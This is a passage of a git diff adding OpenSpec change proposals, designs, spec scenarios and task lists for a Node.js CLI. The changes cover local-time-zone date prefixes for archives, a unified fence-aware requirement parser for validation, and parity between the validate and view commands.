repository supports Node.js 20.19+ on Windows, macOS, and Linux. The selected contract is the calendar date in the executing Node.js process's effective local time zone, rather than a project-wide or UTC time zone. "Effective local time zone" means the time zone used by Node.js local `Date` accessors, normally derived from the host environment and any runtime-supported process time-zone configuration. + +## Goals / Non-Goals + +**Goals:** + +- Produce date-only archive prefixes and new-change metadata from the executing CLI process's effective local calendar date. +- Keep the date representation stable as zero-padded `YYYY-MM-DD` on every supported platform. +- Cover a UTC/local-calendar boundary with deterministic tests. + +**Non-Goals:** + +- Rename or migrate existing archive directories or existing change metadata. +- Add a project time-zone setting, CLI flag, or user-selectable time zone. +- Change full UTC timestamps used for logs, JSON timestamps, feedback metadata, or backup identifiers. +- Alter agent-generated date prefixes in OPSX archive workflows, which do not derive their dates through `Date#toISOString()`. + +## Decisions + +### Use a shared local calendar-date formatter + +Introduce one small shared formatter for date-only values. It will derive year, month, and day with local `Date` accessors and zero-pad the numeric parts into `YYYY-MM-DD`. It will accept a `Date` value (defaulting to the current time) so callers share the same behavior and tests can provide a fixed instant. + +Both archive naming and change creation will call this formatter. This prevents the two date-only concepts from diverging again while keeping the existing archive and metadata APIs unchanged. + +`toISOString().split('T')[0]` is not suitable because it deliberately selects the UTC calendar date. Locale-formatted strings are also unsuitable as a storage and path contract because their separators and ordering are locale-dependent. + +### Bind the rule to the executing CLI process's effective local time zone + +The formatter will use the local time zone effective for the Node.js process. This matches the user-visible meaning of "today" for an interactive CLI session and gives scripts deterministic behavior when the process time zone is configured. Processes in different time zones may produce different dates for the same instant near a boundary; that is intentional under the selected contract. + +### Test the boundary through the process time zone + +Tests will temporarily set the Node process time zone to `Asia/Shanghai` and use a fixed instant such as `2026-07-14T16:30:00.000Z`. At that instant the local date is `2026-07-15` while the UTC date is `2026-07-14`, so the test fails if UTC truncation returns. The test setup will restore time and environment state after each case. + +## Risks / Trade-offs + +- [Different processes can choose different dates at the same instant] → This is the explicit effective-local-time-zone contract and is covered by the affected behavior. +- [Date formatting is accidentally made locale-sensitive] → Use numeric local `Date` parts rather than locale display formatting. +- [Existing historical names retain UTC-derived dates] → Apply the new rule prospectively and leave existing directories and metadata untouched. + +## Migration Plan + +No data migration is required. New archives and newly created changes use the local-date rule after release; existing archives and metadata remain valid as-is. + +## Open Questions + +None. diff --git a/openspec/changes/fix-cli-local-date-semantics/proposal.md b/openspec/changes/fix-cli-local-date-semantics/proposal.md new file mode 100644 index 0000000000..44eee1ffa6 --- /dev/null +++ b/openspec/changes/fix-cli-local-date-semantics/proposal.md @@ -0,0 +1,27 @@ +## Why + +Two CLI code paths currently derive date-only values by truncating a UTC ISO timestamp: archive directory prefixes and the `created` field in newly scaffolded change metadata. Near a local midnight boundary, these values can resolve to the previous or next calendar date instead of the date in the CLI process's effective local time zone. + +## What Changes + +- Define CLI-generated date-only values as the calendar date in the effective local time zone of the Node.js process executing the CLI, formatted as `YYYY-MM-DD`. +- Generate CLI archive directory names from that local date. +- Record the same local date in the `created` field of newly created change metadata. +- Add regression coverage for a non-UTC local-date boundary. + +## Capabilities + +### New Capabilities + +None. + +### Modified Capabilities + +- `cli-archive`: archive target names use the CLI process's effective local calendar date. +- `change-creation`: newly created change metadata records the CLI process's effective local calendar date. + +## Impact + +- Affected code: archive naming, change-creation metadata, and a shared date-only formatter. +- Affected tests: archive and change-creation coverage. +- Existing archive directories remain unchanged; the rule applies to newly generated names and metadata only. diff --git a/openspec/changes/fix-cli-local-date-semantics/specs/change-creation/spec.md b/openspec/changes/fix-cli-local-date-semantics/specs/change-creation/spec.md new file mode 100644 index 0000000000..f606d30e9c --- /dev/null +++ b/openspec/changes/fix-cli-local-date-semantics/specs/change-creation/spec.md @@ -0,0 +1,12 @@ +## ADDED Requirements + +### Requirement: Local Creation Date Metadata + +The system SHALL record the `created` value in metadata for a newly created change as the `YYYY-MM-DD` calendar date in the effective local time zone of the Node.js process executing the CLI. + +#### Scenario: Create change across a UTC date boundary + +- **GIVEN** the CLI process's effective local time zone is `Asia/Shanghai` +- **AND** the current instant is `2026-07-14T16:30:00.000Z` +- **WHEN** the user creates a change +- **THEN** the new change's `.openspec.yaml` contains `created: 2026-07-15` diff --git a/openspec/changes/fix-cli-local-date-semantics/specs/cli-archive/spec.md b/openspec/changes/fix-cli-local-date-semantics/specs/cli-archive/spec.md new file mode 100644 index 0000000000..aa114e7146 --- /dev/null +++ b/openspec/changes/fix-cli-local-date-semantics/specs/cli-archive/spec.md @@ -0,0 +1,17 @@ +## ADDED Requirements + +### Requirement: Local Archive Date + +The archive command SHALL derive the `YYYY-MM-DD` prefix of a new archive target from the calendar date in the effective local time zone of the Node.js process executing the CLI. + +#### Scenario: Archive crosses a UTC date boundary + +- **GIVEN** the CLI process's effective local time zone is `Asia/Shanghai` +- **AND** the current instant is `2026-07-14T16:30:00.000Z` +- **WHEN** the user archives a change named `add-auth` +- **THEN** the target archive name begins with `2026-07-15-add-auth` + +#### Scenario: Non-interactive archive uses the local date + +- **WHEN** an automation invokes `openspec archive --yes` +- **THEN** the target archive name uses the CLI process's effective local calendar date diff --git a/openspec/changes/fix-cli-local-date-semantics/tasks.md b/openspec/changes/fix-cli-local-date-semantics/tasks.md new file mode 100644 index 0000000000..9bb6c7067e --- /dev/null +++ b/openspec/changes/fix-cli-local-date-semantics/tasks.md @@ -0,0 +1,13 @@ +## 1. Local date behavior + +- [x] 1.1 Add a shared formatter that returns the calendar date in the executing Node.js process's effective local time zone as `YYYY-MM-DD`. +- [x] 1.2 Use the shared formatter for native archive target names. +- [x] 1.3 Use the shared formatter when writing `created` metadata for a new change. + +## 2. Regression coverage and validation + +- [x] 2.1 Add archive and change-creation tests for a fixed `Asia/Shanghai` UTC-boundary instant, restoring clock and environment state afterward. +- [x] 2.2 Update affected archive test expectations to use the effective-local-date contract. +- [x] 2.3 Add archive and change-creation tests for a non-boundary instant where UTC and local calendar dates match. +- [x] 2.4 Run focused archive and change-creation tests on the supported cross-platform test suite. +- [x] 2.5 Run the full build and OpenSpec validation for the change. diff --git a/openspec/changes/fix-spec-parser-fidelity/.openspec.yaml b/openspec/changes/fix-spec-parser-fidelity/.openspec.yaml new file mode 100644 index 0000000000..34f9314d22 --- /dev/null +++ b/openspec/changes/fix-spec-parser-fidelity/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-06-29 diff --git a/openspec/changes/fix-spec-parser-fidelity/design.md b/openspec/changes/fix-spec-parser-fidelity/design.md new file mode 100644 index 0000000000..f9909941aa --- /dev/null +++ b/openspec/changes/fix-spec-parser-fidelity/design.md @@ -0,0 +1,77 @@ +# Design: Spec parser reading fidelity + +## The requirement reader is implemented twice + +| | spec reader: `MarkdownParser.parseRequirements` → `req.text` | delta reader: `Validator.extractRequirementText` / `countScenarios` | +|---|---|---| +| Recognition | every level-3 child of the section | canonical `REQUIREMENT_HEADER_REGEX` `/^###\s*Requirement:\s*(.+)$/i` | +| Body capture | first non-empty line | first substantial line | +| Skip `**metadata**:` | no | yes | +| Fenced code in body | not skipped | not skipped | +| Fenced `#### Scenario:` | not counted (parseSections fence-masks it) | **counted** (`/^####\s+/gm` is fence-unaware) | +| `SHALL`/`MUST` | `text.includes('SHALL')` (substring) | `/\b(SHALL\|MUST)\b/` (word boundary) | +| Reached by | `validate `, `archive` | `validate ` | + +`ChangeParser extends MarkdownParser` and reuses `parseRequirements`, so there is no third reader. Every row where the two columns differ is a reproduced defect. + +## Reproductions (against `main`) + +- **#361** — `### Requirement: …` with `SHALL` on body line 2 → `validate ` `✗ must contain SHALL or MUST`; `validate ` `✗ requirements.0.text: …`. +- **#418** — metadata lines before a `MUST` description → `validate ` **valid**; `validate ` `✗`, `req.text` = `**ID**: REQ-FILE-001`. +- **#312** — fenced block (with `#` comments) before the prose line → both paths `✗`; `req.text` = `` ```bash ``. (Distinct from the already-fixed section-count manifestation.) +- **Fenced scenario** — requirement whose only `#### Scenario:` is inside a ` ```markdown ` block → `validate ` **valid** (counts the fenced scenario); `validate ` `✗ requirements.0.scenarios: must have at least one scenario`. The delta reader passes a malformed requirement. +- **#498** — stray `### Documentation Requirements` divider → `validate ` **valid**; `archive` prints non-blocking phantom `Proposal warnings in proposal.md`; `validate ` blocking `✗`. (Also: `show`/`view` count the divider as a requirement — `count=2` with `text='Documentation Notes'`.) + +## Approach + +### Part A — one shared, fence-aware extraction + +A single helper takes the requirement block's lines plus the fence mask and returns the full body: lines from after the header to the first markdown header found on a **non-fence-masked** line (usually `#### Scenario:`, but also a stray `###` divider the delta reader absorbed into the block — its notes must not feed the keyword check), skipping fence-masked lines and blank lines. `**metadata**:` lines are skipped only when other body text remains; a requirement written entirely as `**Constraint**: The system MUST ...` keeps that line as its body. When the body comes back empty, `MarkdownParser` still falls back to the header title for display and bare-header compatibility; validator body-keyword checks for canonical `### Requirement:` blocks use the body-only extraction so #1280's "keyword only in header" hint remains intact on both validation paths. A companion fence-aware scenario counter counts only non-fence-masked `####` headers (deliberately *any* `####`, since the spec path treats every level-4 child as a scenario). Both readers delegate to these. `SHALL`/`MUST` detection uses one predicate. + +Why the existing fence tests still pass: in `markdown-parser.test.ts:106`/`:139` the `SHALL` line is first and the fenced block follows, so skipping fenced lines leaves `text` exactly equal to the `SHALL` line — the asserted value. The breaking case (#312) is the inverse — fence *before* prose — which no test covers. + +### Part B — surface the #498 divergence (INFO, no recognition change) + +`parseDeltaSpec` records the non-canonical level-3 headers it skips *while parsing* the `## ADDED`/`## MODIFIED Requirements` sections, and `validateChangeDeltaSpecs` emits each as an INFO issue. Collecting during the parse (rather than with a separate scanner) guarantees the note describes the reader's real boundaries — a header the reader never saw (e.g. after a fenced `##` line ended the section early) gets no note, and a fenced `###` example line, which the body reader treats as content, is not reported. Under `--strict`, `valid = errors === 0 && warnings === 0` — **INFO is excluded**, so this never changes pass/fail; it only informs. This is the minimal change that makes `validate ` stop *silently* passing the #498 input. + +## Why recognition tightening is rejected + +The obvious #498 fix is to make `parseRequirements` recognize only `### Requirement:` headers. It is rejected because **bare `### ` headers are a supported, tested requirement format**, not a convention violation: + +- `test/core/validation.test.ts` builds a spec whose requirements are `### The system SHALL provide secure user authentication` (no `Requirement:` prefix) and asserts `report.valid === true`. +- Bare headers also appear as valid requirements in `test/core/converters/json-converter.test.ts`, `test/core/archive.test.ts`, `test/commands/spec.test.ts`, and `test/core/parsers/markdown-parser.test.ts` (`:258`, `:310`, and the fixtures at `:14`/`:22`/`:55`/`:85`). + +Tightening would reclassify all of these as non-requirements, breaking those tests and silently dropping requirements from any real spec that uses the bare style. The cost is not justified by #498, whose harm is a *confusing signal*, not data loss (the archive rebuild already filters to `### Requirement:` blocks, so rebuilt specs are correct regardless). Part B fixes the signal safely. If maintainers later decide to make `### Requirement:` mandatory, that belongs in its own change with a deprecation cycle and fixture migration. + +## Safety: write path is independent of the reader + +`src/core/specs-apply.ts` rebuilds specs during archive from `extractRequirementsSection` + `RequirementBlock.raw` (raw text split on the canonical header). It does not import or call `parseSpec`/`parseRequirements` and never reads `req.text`. Consequently Part A changes only what is *read/validated/displayed*; archived spec bytes are unchanged. (Note: this means `specs-apply` already uses the canonical `### Requirement:` rule — another reason recognition divergence is a reader-only concern.) + +## Read-only blast radius (no write path) + +Consumers of `parseSpec`/`req.text`: `view.ts`/`list.ts` (requirement **counts** — unchanged, since recognition is unchanged), `json-converter.ts` (JSON `text` — now the full body), `spec.ts` (display), `change-parser.ts:96` (delta descriptions `Add requirement: ${req.text}` — may span lines), and the `MAX_REQUIREMENT_TEXT_LENGTH` INFO (non-blocking). None affect archived content or pass/fail of valid specs. + +## Edge cases for tests + +- Single-line requirement unchanged (text and count byte-for-byte). +- Metadata-only body still flags missing `SHALL`/`MUST`. +- Fenced `#### Scenario:` / `#`-comment lines do not corrupt text or inflate scenario count. +- LF/CRLF/CR via `normalizeContent`; `~~~`/length-≥3/leading-whitespace fences via existing `buildCodeFenceMask`. +- INFO note appears for a stray delta header but does not change `valid` (including `--strict`). + +## Known remaining divergences + +Unification closes the reproduced defects; these divergences remain and are accepted: + +- **Empty scenarios** — a `#### Scenario:` header with no body counts on the delta path (`countScenarios` counts headers) but not on the spec path (`parseScenarios` keeps only scenarios with content), so `validate ` passes what `validate `/`archive` rejects. +- **Recognition** — bare `### ` headers are requirements on the spec path but skipped on the delta path. Deliberate (see "Why recognition tightening is rejected"); the Part B INFO note surfaces it instead of unifying it. +- **No-space `###Requirement:` headers** — `REQUIREMENT_HEADER_REGEX` (`\s*` after `###`) accepts them on the delta and write paths, but `MarkdownParser.parseSections` requires whitespace (matching GFM, which does not treat `###Requirement:` as a heading). So a no-space requirement validates as a change with zero INFO (the reader accepts it, so the skip note never fires), syncs into the main spec as-is, and the synced spec then fails `validate ` — the same shape as #498. Pre-existing (both regexes unchanged from `main`) and accepted here: the no-space form is a tested normalization case (`requirement-blocks.test.ts`), and tightening the shared regex would change write-path recognition. Closing it should be a separate compatibility change — deprecate no-space headers with an INFO/WARN first, or broaden the skipped-header collection to any `^###` line before tightening recognition. +- **Delta section/block splitting is not fence-aware** — `splitTopLevelSections` and `parseRequirementBlocksFromSection` treat a fenced `## ...` line as a section boundary and a fenced `### Requirement:` line as a new block, while the spec path fence-masks its sectioning. The skipped-header INFO is collected during the actual parse precisely so it reflects these boundaries instead of describing different ones. + +## Prior art + +`findMainSpecStructureIssues` (`spec-structure.ts`) already flags a `### Requirement:` header *outside* the `## Requirements` section and delta headers inside a main spec. The Part B INFO note is complementary: it flags non-`Requirement:` headers *inside* a delta Requirements section, which that function does not cover. + +## Out of scope: #559 + +Deferred — transcript shows an unqualified `changes//...` path (missing `openspec/` prefix), not a demonstrated folder-vs-title mismatch. diff --git a/openspec/changes/fix-spec-parser-fidelity/proposal.md b/openspec/changes/fix-spec-parser-fidelity/proposal.md new file mode 100644 index 0000000000..f56cce97f7 --- /dev/null +++ b/openspec/changes/fix-spec-parser-fidelity/proposal.md @@ -0,0 +1,71 @@ +## Why + +OpenSpec's promise is that the spec is the source of truth, and `validate`/`archive` are the gate that protects it. That gate is undermined by a fragmented requirement-parsing layer: the requirement **reader** is implemented twice — `MarkdownParser.parseRequirements` (used by `validate ` and `archive`) and `Validator.extractRequirementText` + `countScenarios` (used by `validate `) — and the two have drifted apart. Every defect below was reproduced against `main` with the bundled CLI; outputs are quoted in `design.md`. + +The two readers differ in ways that are each a reproduced bug: + +| | spec reader (`parseRequirements`) | delta reader (`extractRequirementText`/`countScenarios`) | +|---|---|---| +| Body capture | first line only | first line only | +| Skips `**metadata**:` lines | **no** | yes | +| Ignores fenced code in body | **no** | **no** | +| Counts fenced `#### Scenario:` | no (fence-masked) | **yes** | +| `SHALL`/`MUST` predicate | substring `includes('SHALL')` | word-boundary `\b(SHALL\|MUST)\b` | + +### Reproduced bugs + +- **#361 — wrapped keyword invisible.** Both readers capture only the first body line, so a `SHALL`/`MUST` on line 2 fails both `validate ` and `validate `. +- **#418 — metadata before description, spec path only.** A requirement that opens with `**ID**:`/`**Priority**:` lines passes `validate ` (delta reader skips metadata) but fails `validate ` (`req.text` = `**ID**: REQ-FILE-001`). +- **#312 — fenced block before prose corrupts text.** The original count-corruption is already fixed by `codeFenceLineMask`, but the body loop is still fence-unaware: a fenced code block before the `SHALL` line makes `req.text` = `` ```bash `` on both paths today. +- **Fenced scenario counted as real (discovered during hardening, no open issue).** `countScenarios` matches `^####` with a fence-unaware regex, so a requirement whose only `#### Scenario:` lives inside a fenced example passes `validate ` — while the same content correctly fails `validate `. A malformed delta slips through the gate. +- **#498 — validate and archive disagree.** `validate ` recognizes requirements only by the canonical `### Requirement:` header; `parseRequirements` treats every level-3 header as a requirement. A stray divider like `### Documentation Requirements` is silently ignored by `validate ` but flagged by `archive` (non-blocking phantom warning) and `validate ` (blocking error). The author gets no signal at validate time. + +## What Changes + +### Part A — unify the reader (fixes #361, #418, #312, fenced-scenario counting) + +One shared, fence-/metadata-/multi-line-aware extraction used by **both** readers, so they cannot drift again: + +- Requirement-body capture spans every line from after the `### Requirement:` header to the first `#### Scenario:` header found on a **non-fenced** line, skipping fence-masked lines and `**metadata**:` lines; `SHALL`/`MUST` detection runs over the full body. +- Scenario counting ignores fence-masked `####` lines, so fenced examples never count as real scenarios. +- One normative-keyword predicate (`\b(SHALL|MUST)\b`) replaces the substring/word-boundary split. + +Part A only corrects what is *detected*. It fixes false negatives (#361/#418/#312) and one false positive (fenced scenario), and does **not** change which headers count as requirements. + +### Part B — make the #498 divergence visible (safe, no recognition change) + +`validate ` emits an **INFO**-level note when an `## ADDED`/`## MODIFIED Requirements` section contains a level-3 header that is not a canonical `### Requirement:` header — i.e. one the delta reader will silently skip. This surfaces the stray-header problem at validate time instead of letting it appear only at archive, **without** changing recognition. INFO never fails validation (not even `--strict`), so no currently-passing change newly fails. + +### Rejected: tightening recognition to `### Requirement:` only + +The tempting #498 fix — make `parseRequirements` recognize only `### Requirement:` headers — is **rejected**. Bare `### ` headers (e.g. `### The system SHALL …`) are a **supported, widely-tested requirement format**: `test/core/validation.test.ts` asserts a bare-header spec is `valid`, and bare headers appear across `json-converter`, `archive`, and `spec` tests plus the `tmp-init` fixtures. Tightening would reclassify those as non-requirements and break a large swath of the suite (and likely real user specs). Surfacing the divergence (Part B) achieves consistency of *signal* without a breaking change to recognition. See `design.md` for the full analysis. + +Out of scope (investigated, deferred): #559 — its transcript shows an unqualified `changes/...` path, not a proven folder-vs-title mismatch. + +## Safety: the archive write path is unaffected + +`specs-apply` (the archive rebuild) reconstructs specs from raw `### Requirement:` blocks via `extractRequirementsSection` + `RequirementBlock.raw` — it never calls `parseSpec`/`parseRequirements` and never reads `req.text`. Therefore changing the reader (Part A) **cannot alter archived spec content**; it only changes what `validate`/`view`/`show` report. Verified by inspection of `src/core/specs-apply.ts`. + +## Existing-test impact + +All 15 tests in `test/core/parsers/markdown-parser.test.ts` pass on `main`. Because recognition is unchanged, this proposal updates **one** test: `should extract requirement text from first non-empty content line` (`:331`), which asserts `req.text` is only the first body line — the #361 bug itself; it is updated to expect the full body. The fence tests (`:106`, `:139`) are preserved (skip-and-join keeps `SHALL`-first bodies intact). Bare-header tests (`:258`, `:310`) and `validation.test.ts`/`json-converter.test.ts` are **not** affected, because recognition does not change. + +## Capabilities + +### New Capabilities + +_None._ + +### Modified Capabilities + +- `cli-validate`: requirement-text extraction becomes multi-line, fence-aware, and metadata-aware; scenario counting becomes fence-aware; one normative-keyword predicate; an INFO note surfaces non-`Requirement:` headers in delta sections. + +## Impact + +- `src/core/parsers/markdown-parser.ts` — shared multi-line/fence/metadata-aware body extraction. +- `src/core/validation/validator.ts` — `extractRequirementText` and `countScenarios` delegate to the shared, fence-aware helpers; INFO note for stray delta headers. +- `src/core/parsers/requirement-blocks.ts` — export the canonical `REQUIREMENT_HEADER_REGEX` for the INFO check. +- `src/core/schemas/base.schema.ts` — schema-level `SHALL`/`MUST` enforcement stays removed after #1280; the imperative validator uses the shared predicate. +- `test/core/parsers/markdown-parser.test.ts:331` updated; regression tests added. +- Read-only blast radius (display only, no write path): `view`/`list` requirement counts and `json-converter`/`spec` JSON `text` reflect the fuller body; `change-parser` delta descriptions built from `req.text` may span multiple lines; the `MAX_REQUIREMENT_TEXT_LENGTH` check is INFO (non-blocking). Requirement **counts** are unchanged (recognition unchanged). +- Fixes #361, #418, #312; surfaces #498. Related: #559 (deferred). Does not claim #1156 (PR #1280). Hardens the reader that #1112/#1246/#1277 rely on. diff --git a/openspec/changes/fix-spec-parser-fidelity/specs/cli-validate/spec.md b/openspec/changes/fix-spec-parser-fidelity/specs/cli-validate/spec.md new file mode 100644 index 0000000000..4791804218 --- /dev/null +++ b/openspec/changes/fix-spec-parser-fidelity/specs/cli-validate/spec.md @@ -0,0 +1,69 @@ +## ADDED Requirements + +### Requirement: Requirement bodies SHALL be parsed in full for normative keywords +The validator SHALL detect `SHALL`/`MUST` across the entire requirement body, not only the first body line. Requirement-text extraction SHALL capture every body line from after the `### Requirement:` header up to the first Markdown header on a non-fenced line (a `#### Scenario:` header, or a stray `###` divider absorbed into a delta block), skipping blank lines and lines inside fenced code blocks. `**metadata**:` lines SHALL be skipped only when other body text remains; a body consisting solely of metadata lines SHALL be kept as the requirement text. Detection SHALL run over the full captured body. Canonical `### Requirement:` blocks with no body text SHALL NOT satisfy body-keyword validation from the header title alone; they SHALL receive the existing body-keyword hint when the keyword appears only in the header. The Markdown parser MAY still use the header title as display text for supported bare-header specs. The change-delta reader and the main-spec validator SHALL share this body extraction so they cannot diverge. + +#### Scenario: Normative keyword on the second wrapped line (change and spec) +- **GIVEN** a requirement whose text wraps across two lines with `SHALL` on the second line +- **WHEN** running `openspec validate --strict` for both a change delta and a main spec +- **THEN** both SHALL detect the keyword and SHALL NOT report a missing-`SHALL`/`MUST` error + +#### Scenario: Metadata fields precede the description +- **GIVEN** a requirement whose body begins with `**ID**:`/`**Priority**:` lines before a `MUST` description +- **WHEN** running `openspec validate --strict` +- **THEN** validation SHALL skip the metadata lines, detect `MUST`, and pass — matching `openspec validate ` + +#### Scenario: Requirement written entirely as a metadata line +- **GIVEN** a requirement whose whole body is `**Constraint**: The system MUST ...` +- **WHEN** running `openspec validate --strict` for both a change delta and a main spec +- **THEN** both SHALL keep that line as the requirement text and detect the `MUST` + +#### Scenario: Stray divider bounds the requirement body +- **GIVEN** a delta requirement followed by a stray `### Background` divider whose notes contain `MUST` +- **WHEN** running `openspec validate --strict` +- **THEN** the requirement body SHALL end at the divider and the `MUST` in the notes SHALL NOT satisfy the keyword check + +#### Scenario: Single-line requirement is unaffected +- **GIVEN** a requirement whose `SHALL` statement is on a single body line +- **WHEN** running `openspec validate --strict` +- **THEN** validation behavior, messages, and displayed text SHALL be unchanged from before this change + +### Requirement: Fenced code blocks SHALL NOT corrupt extraction or scenario counting +The validator and Markdown parser SHALL ignore lines inside fenced code blocks (` ``` ` or `~~~`) when extracting requirement body text, when locating the body-ending header boundary, and when counting scenarios. A fenced block before the prose line SHALL NOT make the fence marker the requirement text, and a `#### Scenario:` inside a fenced block SHALL NOT count as a real scenario. + +#### Scenario: Fenced block before the prose line +- **GIVEN** a requirement whose body opens with a fenced code block containing `#`-comment lines, followed by the `SHALL` prose line +- **WHEN** the spec or change is validated +- **THEN** the captured requirement text SHALL be the prose line (not the fence marker) and validation SHALL pass + +#### Scenario: Fenced scenario is not a real scenario +- **GIVEN** a requirement whose only `#### Scenario:` appears inside a fenced code example, with no real scenario +- **WHEN** running `openspec validate --strict` +- **THEN** validation SHALL report the requirement as missing a scenario — the same result as `openspec validate ` + +### Requirement: A single normative-keyword predicate SHALL be used across readers +All `SHALL`/`MUST` detection SHALL use one predicate that matches `SHALL` or `MUST` as whole words (delimited by word boundaries, so a substring inside a longer word such as `MARSHALL` does not match), so the change-delta reader and the schema-based reader accept and reject identical text. + +#### Scenario: Keyword detection agrees across readers +- **GIVEN** identical requirement body text validated once as a change delta and once as a main spec +- **WHEN** running `openspec validate` on each +- **THEN** both SHALL reach the same conclusion about whether the body contains a normative keyword + +### Requirement: Non-canonical headers in delta sections SHALL be surfaced without changing recognition +When an `## ADDED`/`## MODIFIED Requirements` section in a change delta contains a level-3 header that is not a canonical `### Requirement:` header, `openspec validate ` SHALL emit an INFO-level note identifying it, because the delta reader will otherwise skip it silently. The note SHALL be derived from the headers the delta reader actually skips while parsing, so it describes the reader's real section and fence boundaries. This note SHALL NOT change which headers are recognized as requirements, and SHALL NOT change the `valid` result — including under `--strict`. This behavior applies only to change deltas: bare `### ` headers in main specs are recognized requirements (see the scenario below) and SHALL NOT trigger such notes. + +#### Scenario: Stray divider header is reported, not silently skipped +- **GIVEN** a delta whose `## ADDED Requirements` section contains `### Documentation Requirements` followed by a valid `### Requirement: …` block +- **WHEN** running `openspec validate --strict` +- **THEN** validation SHALL emit an INFO note naming the stray `### Documentation Requirements` header +- **AND** the `valid` result SHALL be unchanged from current behavior (the INFO does not cause failure) + +#### Scenario: Nameless requirement header gets a dedicated hint +- **GIVEN** a delta whose `## ADDED Requirements` section contains a bare `### Requirement:` header with no name +- **WHEN** running `openspec validate ` +- **THEN** the INFO note SHALL say the header is missing a requirement name (not suggest `### Requirement: Requirement:`) + +#### Scenario: Bare requirement headers in main specs remain supported +- **GIVEN** a main spec whose requirements use bare `### ` headers without the `Requirement:` prefix +- **WHEN** running `openspec validate --strict` +- **THEN** those headers SHALL continue to be recognized as requirements exactly as before this change diff --git a/openspec/changes/fix-spec-parser-fidelity/tasks.md b/openspec/changes/fix-spec-parser-fidelity/tasks.md new file mode 100644 index 0000000000..0c9a3f28ba --- /dev/null +++ b/openspec/changes/fix-spec-parser-fidelity/tasks.md @@ -0,0 +1,43 @@ +## 1. Part A — shared, fence-aware extraction (#361, #418, #312, fenced-scenario) + +- [x] 1.1 Add a shared `extractRequirementBody(lines, fenceMask, startIndex)` helper in `src/core/parsers/` returning the full body: lines after the header up to the first `#### Scenario:` on a non-fence-masked line, skipping fence-masked and `**metadata**:` lines. +- [x] 1.2 Add a fence-aware scenario counter (count only non-fence-masked `####` headers). +- [x] 1.3 Rewrite `MarkdownParser.parseRequirements` to use the body helper (replacing first-line logic) and consult `codeFenceLineMask`. +- [x] 1.4 Rewrite `Validator.extractRequirementText` to delegate to the body helper, and `countScenarios` to the fence-aware counter. +- [x] 1.5 Run `SHALL`/`MUST` detection over the full body in both paths. + +## 2. Part A — single normative-keyword predicate + +- [x] 2.1 Use the shared `containsShallOrMust` (`/\b(SHALL|MUST)\b/`) for validator keyword checks; after the #1280 merge, schema-level keyword enforcement remains removed and owned by the imperative validator. + +## 3. Part B — surface the #498 divergence (INFO, no recognition change) + +- [x] 3.1 Record the non-canonical level-3 headers `parseDeltaSpec` skips while parsing ADDED/MODIFIED sections (`DeltaPlan.skippedHeaders`), so the note reflects the reader's real boundaries. +- [x] 3.2 In `validateChangeDeltaSpecs`, emit an INFO issue for each skipped header. Do **not** change recognition. Special-case a nameless `### Requirement:` header. +- [x] 3.3 Confirm INFO does not affect `valid` under `--strict` (`valid = errors === 0 && warnings === 0`). + +## 4. Update the one affected existing test + +- [x] 4.1 `markdown-parser.test.ts:331` (*first non-empty content line*) → assert `req.text` is the full joined body. Confirm `:106`/`:139` (fence) and `:258`/`:310` (bare-header) tests still pass unchanged. + +## 5. Regression tests + +- [x] 5.1 (#361) `SHALL` wrapped onto body line 2 passes `validate ` and `validate `. +- [x] 5.2 (#418) metadata lines before the prose pass `validate `; delta path stays green. +- [x] 5.3 (#312) fenced block before the prose line captures the real body and passes. +- [x] 5.4 (fenced scenario) a requirement whose only `#### Scenario:` is inside a fence FAILS `validate ` (parity with `validate `). +- [x] 5.5 (#498) a stray `### Documentation Requirements` divider in a delta yields an INFO note from `validate ` and does not change `valid` (including `--strict`). +- [x] 5.6 Guard: single-line requirements unchanged; bare-header specs still valid; LF/CRLF covered. + +## 6. Release + +- [x] 6.1 Add a changeset: Fixes #361, #418, #312; surfaces #498. Note the read-only display changes (fuller `req.text` in JSON/descriptions); no archived-content change. + +## 7. Review fixes (PR #1281) + +- [x] 7.1 Skip `**metadata**:` lines only when other body text remains; a metadata-only body (e.g. `**Constraint**: The system MUST ...`) is kept as the requirement text. +- [x] 7.2 Keep header-title fallback in the Markdown parser for display/bare-header compatibility, while validator checks use body-only extraction so canonical header-only requirements still receive the #1280 body-keyword hint. +- [x] 7.3 End the body at any non-fenced Markdown header, so a stray `###` divider's notes cannot satisfy the keyword check (old-reader parity). +- [x] 7.4 Replace the standalone INFO scanner with skipped-header collection inside `parseDeltaSpec` (notes match the reader's real boundaries). +- [x] 7.5 Special-case the nameless `### Requirement:` INFO message; document that the any-`####` scenario match is deliberate; un-export `REQUIREMENT_HEADER_REGEX`. +- [x] 7.6 Soften the changeset wording and document the known remaining divergences in `design.md`. diff --git a/openspec/changes/fix-validate-view-resolution-parity/.openspec.yaml b/openspec/changes/fix-validate-view-resolution-parity/.openspec.yaml new file mode 100644 index 0000000000..34f9314d22 --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-06-29 diff --git a/openspec/changes/fix-validate-view-resolution-parity/design.md b/openspec/changes/fix-validate-view-resolution-parity/design.md new file mode 100644 index 0000000000..93ef6618b1 --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/design.md @@ -0,0 +1,93 @@ +# Design + +## Context + +This is a bug-fix bundle, not a feature. The three issues are grouped because they share one structural defect: a read/validate command forks its own resolution or validation logic instead of reusing the canonical implementation a sibling command already gets right. Fixing them together lets the implementation converge the divergent paths onto shared helpers in one pass, and lets one set of *parity tests* guard all three against future drift. + +The unifying invariant this change establishes: + +> A command that reports on or validates a change MUST resolve files the same way `openspec status` does, and MUST produce the same requirement-quality messages the change-delta validator does. Divergence is a bug, and parity is asserted by test. + +Every claim below was verified against source at the base commit `546224e` **and reproduced empirically against the built (pre-fix) CLI**. The reproductions are summarized under "Empirical evidence." The framings that changed under this review are flagged inline; two of them (the #1202 `apply.tracks` mechanism and the "agrees with status" count claim) were corrections to an earlier draft of this very proposal. + +## Root causes (verified) + +| # | Symptom | Canonical path (correct) | Divergent path (bug) | Anchor | +|---|---------|--------------------------|----------------------|--------| +| #1182 | `validate ` → `Unknown item`; `--all` → "No items found" | `status`/`instructions` resolve by **directory existence** (`validateChangeExists`) | `validate` resolves via `getActiveChangeIds`, which **requires `proposal.md`** | `src/commands/validate.ts:97,120,238`; `src/utils/item-discovery.ts:11-16`; `src/commands/workflow/shared.ts:168-170`; scaffolder omits proposal.md `src/utils/change-utils.ts:121-210` | +| #1182b | resolved nested-layout change → "No delta sections found" | spec-driven specs glob is `specs/**/*.md` | `validateChangeDeltaSpecs` discovers deltas one level 